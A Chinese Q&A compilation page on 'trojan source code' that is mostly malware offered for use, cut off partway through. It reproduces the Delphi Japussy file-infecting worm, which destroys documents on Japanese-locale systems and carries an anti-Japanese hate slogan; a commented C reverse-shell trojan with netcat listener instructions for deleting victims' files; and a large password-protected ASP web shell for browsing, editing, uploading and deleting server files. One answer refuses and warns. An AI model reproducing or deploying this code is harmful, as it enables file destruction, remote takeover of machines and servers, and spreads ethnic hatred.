安卓木马病毒源代码(木马病毒程序代码)

本文目录一览:

能发一个完整的病毒源代码文件?我分析一下。直接复制在这里就可以,不要发给我

复制的,希望采纳

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?汤姆感激不尽!

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ':\';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户,这个是我最喜欢的!

//哪位大兄弟愿意完成之?汤姆感激不尽!

end

else if Ext = '.WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + '\', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + ':\', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?汤姆感激不尽!

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end

求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我

//一个简单木马的源代码

#include stdio.h

#include winsock2.h

#pragma comment(lib,"Ws2_32.lib")

void main()

{

WSADATA wsa;

SOCKET corky;

struct sockaddr_in add;

WSAStartup(MAKEWORD(2,2),wsa);//初始化

corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky

add.sin_family=AF_INET;//填充sockaddr_in结构

add.sin_port=htons(918); //换成你的端口

add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址

connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端

STARTUPINFO si; //创建STARTUPINFO结构

ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存

si.cb=sizeof(si);

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位

si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口

si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky

PROCESS_INFORMATION pi;

CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程

ExitProcess(0);

}

//用nc监听你的918端口(nc -l -p 918)然后耐心等待对方启动木马吧!

//提示:nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到

//如果木马启动你在nc的窗口就会得到一个带微软版权的提示

//输入dir命令看看就会看到对方目录下的所有文件信息(木马所在目录)

//用del命令可以删除他的文件了

//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..

//到时警察叔叔来找你可别怪我提醒你呦!

//你可以完善它如向系统添加启动项让它随系统启动

//最好是感染文件让它随宿主的打开而启动

//你还要完善窗口的隐藏

//本代码在XP+VC++6.0下调试通过

谁有手机病毒的代码啊?,加上格式给我

您好,

请不要传播病毒、盗号木马程序,恶意传播病毒和木马会污染互联网环境,请您加入到维护网络安全的大军中!

QQ木马程序会导致您和他人的帐号和密码泄露,从而可能使您和他人的QQ财产,如游戏、QB等受到严重威胁,严重的还会违反法律。

请您不要轻易安装陌生人传送给您的未知文件,有可能是病毒或者木马。建议您安装腾讯手机管家对您的手机进行实时防护,保护您手机安全运行,避免给您的财产和个人隐私带来威胁。

您可以在腾讯电脑管家——应用宝中下载

希望可以帮到您,望采纳。

腾讯电脑管家企业平台:

木马程序源码

一个asp木马:

<%@ LANGUAGE = VBScript.Encode codepage ="936" %>

<%Server.ScriptTimeOut=5000%>

<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>

<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>

<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>

<%

'on error resume next

dim Data_5xsoft

Class upload_5xsoft

dim objForm,objFile,Version

Public function Form(strForm)

strForm=lcase(strForm)

if not objForm.exists(strForm) then

Form=""

else

Form=objForm(strForm)

end if

end function

Public function File(strFile)

strFile=lcase(strFile)

if not objFile.exists(strFile) then

set File=new FileInfo

else

set File=objFile(strFile)

end if

end function

Private Sub Class_Initialize

dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile

dim iFileSize,sFilePath,sFileType,sFormValue,sFileName

dim iFindStart,iFindEnd

dim iFormStart,iFormEnd,sFormName

Version="HTTP上传程序 Version 2.0"

set objForm=Server.CreateObject("Scripting.Dictionary")

set objFile=Server.CreateObject("Scripting.Dictionary")

if Request.TotalBytes<1 then Exit Sub

set tStream = Server.CreateObject("adodb.stream")

set Data_5xsoft = Server.CreateObject("adodb.stream")

Data_5xsoft.Type = 1

Data_5xsoft.Mode =3

Data_5xsoft.Open

Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)

Data_5xsoft.Position=0

RequestData =Data_5xsoft.Read

iFormStart = 1

iFormEnd = LenB(RequestData)

vbCrlf = chrB(13) chrB(10)

sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

iStart = LenB (sStart)

iFormStart=iFormStart+iStart+1

while (iFormStart + 10) < iFormEnd

iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf vbCrlf)+3

tStream.Type = 1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iFormStart

Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sInfo = tStream.ReadText

tStream.Close

iFormStart = InStrB(iInfoEnd,RequestData,sStart)

iFindStart = InStr(22,sInfo,"name=""",1)+6

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

if InStr (45,sInfo,"filename=""",1) > 0 then

set theFile=new FileInfo

iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileName=getFileName(sFileName)

theFile.FilePath=getFilePath(sFileName)

iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14

iFindEnd = InStr(iFindStart,sInfo,vbCr)

theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileStart =iInfoEnd

theFile.FileSize = iFormStart -iInfoEnd -3

theFile.FormName=sFormName

if not objFile.Exists(sFormName) then

objFile.add sFormName,theFile

end if

else

tStream.Type =1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iInfoEnd

Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sFormValue = tStream.ReadText

tStream.Close

if objForm.Exists(sFormName) then

objForm(sFormName)=objForm(sFormName)", "sFormValue

else

objForm.Add sFormName,sFormValue

end if

end if

iFormStart=iFormStart+iStart+1

wend

RequestData=""

set tStream =nothing

End Sub

Private Sub Class_Terminate

if Request.TotalBytes>0 then

objForm.RemoveAll

objFile.RemoveAll

set objForm=nothing

set objFile=nothing

Data_5xsoft.Close

set Data_5xsoft =nothing

end if

End Sub

Private function GetFilePath(FullPath)

If FullPath <> "" Then

GetFilePath = left(FullPath,InStrRev(FullPath, "\"))

Else

GetFilePath = ""

End If

End function

Private function GetFileName(FullPath)

If FullPath <> "" Then

GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)

Else

GetFileName = ""

End If

End function

End Class

Class FileInfo

dim FormName,FileName,FilePath,FileSize,FileType,FileStart

Private Sub Class_Initialize

FileName = ""

FilePath = ""

FileSize = 0

FileStart= 0

FormName = ""

FileType = ""

End Sub

Public function SaveAs(FullPath)

dim dr,ErrorChar,i

SaveAs=true

if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function

set dr=CreateObject("Adodb.Stream")

dr.Mode=3

dr.Type=1

dr.Open

Data_5xsoft.position=FileStart

Data_5xsoft.copyto dr,FileSize

dr.SaveToFile FullPath,2

dr.Close

set dr=nothing

SaveAs=false

end function

End Class

httpt = Request.ServerVariables("server_name")

rseb=Request.ServerVariables("SCRIPT_NAME")

q=request("q")

if q="" then q=rseb

select case q

case rseb

if Epass(trim(request.form("password")))="q_ux888556" then

response.cookies("password")="7758521"

response.redirect rseb "?q=list.asp"

else %>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title><%=httpt%></title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>

<body>

<%if request.form("password")<>"" then

response.write "Password Error!"

end if

%>

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"

bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">

<tr>

<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>

</tr>

<tr>

<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">

<div align="center"><center><p>Enter Password:<input type="password" name="password"

size="20"

style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">

<input type="submit" value="OK!LOGIN" name="B1"

style="font-size: 9pt; border: thin outset"></p>

</center></div>

</form>

</td>

</tr>

</table>

</body>

</html>

<%end if%>

<%case "down.asp"

call downloadFile(request("path"))

function downloadFile(strFile)

strFilename = strFile

Response.Buffer = True

Response.Clear

set s = Server.CreateObject("adodb.stream")

s.Open

s.Type = 1

if not oFileSys.FileExists(strFilename) then

Response.Write("<h1>Error:</h1>" strFilename " does not exist<p>")

Response.End

end if

Set f = oFileSys.GetFile(strFilename)

intFilelength = f.size

s.LoadFromFile(strFilename)

if err then

Response.Write("<h1>Error: </h1>" err.Description "<p>")

Response.End

end if

Response.AddHeader "Content-Disposition", "attachment; filename=" f.name

Response.AddHeader "Content-Length", intFilelength

Response.CharSet = "UTF-8"

Response.ContentType = "application/octet-stream"

Response.BinaryWrite s.Read

Response.Flush

s.Close

Set s = Nothing

response.end

End Function

%>

<%case "list.asp"%>

<%

urlpath=server.urlencode(path)

if Request.Cookies("password")="7758521" then

dim cpath,lpath

if Request("path")="" then

lpath="/"

else

lpath=Request("path")"/"

end if

if Request("attrib")="true" then

cpath=lpath

attrib="true"

else

cpath=Server.MapPath(lpath)

attrib=""

end if

Sub GetFolder()

dim theFolder,theSubFolders

if oFileSys.FolderExists(cpath)then

Set theFolder=oFileSys.GetFolder(cpath)

Set theSubFolders=theFolder.SubFolders

Response.write"<a href='" rseb "?q=list.asppath="Request("oldpath")"attrib="attrib"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"

For Each x In theSubFolders

%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"

<%

Next

%></script><%

end if

End Sub

Sub GetFile()

dim theFiles

if oFileSys.FolderExists(cpath)then

Set theFolder=oFileSys.GetFolder(cpath)

Set theFiles=theFolder.Files

Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"

For Each x In theFiles

if Request("attrib")="true" then

showstring=x.Name

else

showstring=x.Name

end if

%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"

<%

Next

end if

Response.write"</script></table>"

End Sub

%>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title><%=httpt%></title>

<style type="text/css">

<!--

table{ font-family: 宋体; font-size: 9pt }

a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }

a:visited{ color: rgb(128,0,0) }

td { font-size: 9pt}

a { color: #000000; text-decoration: none}

a:hover { text-decoration: underline}

.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}

.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}

.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}

-->

</style>

</head>

<script language="JavaScript">

function crfile(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open("<%=rseb%>?q=edit.aspattrib=<%=request("attrib")%>creat=yespath=<%=lpath%>"+ls);}

return false;

}

function crdir(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open("<%=rseb%>?q=edir.aspattrib=<%=request("attrib")%>op=creatpath=<%=lpath%>"+ls);}

return false;

}

</script>

<script language="vbscript">

sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)

document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='" urlpath lpath xName "' target='_blank'><strong>" showstring "</strong></a></td><td width='20%' align='right'>" size "字节</td><td width='30%'><a href='#' title='类型:" type1 chr(10) "属性:" Attributes chr(10) "时间:" DateLastModified "'>属性</a> <a href='<%=rseb%>?q=edit.asppath=" lpath xName "attrib=" attrib "' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="chr(34)"javascript: rmdir1('" lpath xName "')"chr(34)"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=copyfile('" lpath Name "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asppath=<%=cpath%>\"xName"attrib=" attrib "' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"

end sub

sub so(lpath,xName,path,attrib)

document.write "<a href='<%=rseb%>?q=list.asppath=" lpath xName "oldpath=" path "attrib=" attrib "'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " xName "</a> <a href="chr(34)"javascript: rmdir('" lpath xName "')"chr(34)"><font color='#FF8000' ></font>删除</a><br>"

end sub

sub rmdir1(ls)

if confirm("你真的要删除这个文件吗!"Chr(13)Chr(10)"文件为:"ls) then

window.open("<%=rseb%>?q=edit.asppath=" ls "op=delattrib=<%=request("attrib")%>")

end if

end sub

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"Chr(13)Chr(10)"目录为:"ls) then

window.open("<%=rseb%>?q=edir.asppath="ls"op=delattrib=<%=request("attrib")%>")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"Chr(13)Chr(10)"源文件:" sfileChr(13)Chr(10)"输入目标文件的文件名:"Chr(13)Chr(10) "[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="<%=request("attrib")%>"

if dfile<>"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib<>"true" then

alert "对不起,你在相对路径模式下不能使用绝对路径"Chr(13)Chr(10)"错误路径:["dfile"]"

exit sub

end if

else

lp="<%=lpath%>"

end if

window.open("<%=rseb%>?q=edit.asppath="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)

else

alert"您没有输入文件名!"

end If

end sub

</script>

<body>

<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0">

<tr>

<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"

color="#FFFFFF"><%=httpt%></font></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span

style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%

For Each thing in oFileSys.Drives

Response.write "<font face=Wingdings>:</font><a href='" rseb "?q=list.asppath="thing.DriveLetter":attrib=true'>"thing.DriveLetter":</a>"

NEXT

%> </span> 地址:

<%= "\\" oScriptNet.ComputerName "\" oScriptNet.UserName %></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※<%

if Request("attrib")="true" then

response.write "<a href='" rseb "?q=list.asp'>切到相对路径</a>"

else

response.write "<a href='" rseb "?attrib=trueq=list.asp'>切到绝对路径</a>"

end if

%> ※绝对:<span

style="background-color: rgb(255,255,255)"><%=cpath%></span></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>

</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">

<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">

编辑|

<input class="tx1" type="text" name="filename" size="20">

<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">

<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">

<input type="file" name="file1" class="tx1" style="width:100" value="">

<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">

<input type="hidden" name="act" value="upload">

<input type="hidden" name="upcount" class="tx" value="1">

<input class="tx1" type="submit" value="上传">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">

</td>

</td>

</tr></form>

<tr>

<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>

</td>

<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>

</td>

</tr>

</table>

<%else

response.write "Password Error!"

response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"

end if

%>

</body>

</html>

<%case "edit.asp"%>

<html>

<head>

<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">

<title>编辑源代码</title>

<style>

<!--

table{ font-family: 宋体; font-size: 12pt }

a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<body>

<% '读文件

if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set thisfile = oFileSys.GetFile(whichfile)

thisfile.Delete True

Response.write "<script>alert('删除成功!要刷新才能看到效果');window.close();</script>"

else

if request("op")="copy" then

if Request("attrib")="true" then

whichfile=Request("path")

dsfile=Request("dpath")

else

whichfile=server.mappath(Request("path"))

dsfile=Server.MapPath(Request("dpath"))

end if

Set thisfile = oFileSys.GetFile(whichfile)

thisfile.copy dsfile

%>

<script language=vbscript>

msgbox "源文件:<%=whichfile%>" vbcrlf "目的文件:<%=dsfile%>" vbcrlf "复制成功!要刷新才能看到效果!"

window.close()

</script>

<%

else

if request.form("text")="" then

if Request("creat")<>"yes" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)

counter=0

thisline=thisfile.readall

thisfile.Close

set fs=nothing

end if

%>

<form method="POST" action="<%=rseb%>?q=edit.asp">

<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"

width="700" cellpadding="0">

<tr>

<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>

</tr>

<tr align="center">

<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"

value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td>

</tr>

<tr align="center">

<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>

</tr>

<tr align="center">

<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"

value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>

</tr>

</table>

</form>

<%else

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set outfile=oFileSys.CreateTextFile(whichfile)

outfile.WriteLine Request("text")

outfile.close

set fs=nothing

Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"

end if

end if

end if

else

response.write "Password Error!"

response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"

end if

%>

</body>

</html>

<%case "edir.asp"%>

<html>

<head>

<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">

<title>目录操作</title>

<style>

<!--

table{ font-family: 宋体; font-size: 12pt }

a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<body>

<% '读文件

